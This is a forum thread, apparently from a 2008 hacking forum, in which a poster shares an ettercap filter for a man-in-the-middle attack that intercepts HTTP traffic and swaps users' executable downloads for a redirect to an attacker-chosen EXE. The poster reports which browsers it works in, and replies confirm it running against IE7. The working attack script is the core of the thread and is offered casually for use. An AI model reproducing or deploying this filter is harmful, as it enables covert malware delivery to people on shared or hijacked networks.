







|
#1
|
|||
|
|||
|
VIDEO:
http://blip.tv/file/1185726/ * works in firefox great * works in opera but after about 10seconds ( this is reasonable ) * works in IE7 Code:
# replace rmccurdy with your website
# replace the url with what ever exe you like
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("keep-alive", "close" ");
replace("Keep-Alive", "close" ");
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
# enable for logging log(DECODED.data, "/tmp/log.log");
msg("found EXE\n");
# "Win32" is the first part of the exe example:
# if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc ..
if (search(DATA.data, "Win32")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301 Moved Permanently
Location: http://www.rmccurdy.com/scripts/quickclean.exe
");
msg("redirect success\n");
}
}
for example on howto use etterfilter/ettercap / more goodies: http://forums.remote-exploit.org/showthread.php?t=12885
__________________
Skiddie powers activate !
Last edited by operat0r; 08-28-2008 at 11:18 AM. |
|
#2
|
|||
|
|||
|
Quote:
__________________
"There are only 10 kinds of people in this world, those who understand binary, and those who don't." -Unknown Compiz'd BT3 / Vista dual boot, nVidia 8800 GT, 3gb RAM, 500gb HDD, AMD 64 x2 5200+ |
|
#3
|
|||
|
|||
|
Quote:
__________________
"There are only 10 kinds of people in this world, those who understand binary, and those who don't." -Unknown Compiz'd BT3 / Vista dual boot, nVidia 8800 GT, 3gb RAM, 500gb HDD, AMD 64 x2 5200+ |
|
#4
|
|||
|
|||
|
Quote:
I would assume that it'd be \n as \r is just a hard coded "Enter" correct? I'll tfiddle around with it in a while and let you know the outcome.
__________________
"There are only 10 kinds of people in this world, those who understand binary, and those who don't." -Unknown Compiz'd BT3 / Vista dual boot, nVidia 8800 GT, 3gb RAM, 500gb HDD, AMD 64 x2 5200+ |
|
#5
|
|||
|
|||
|
Ok so got it working in IE7 not sure if I need 1/2 the code in the filter but it works so have fun !
__________________
Skiddie powers activate !
|
![]() |
| Thread Tools | |
| Display Modes | |
|
|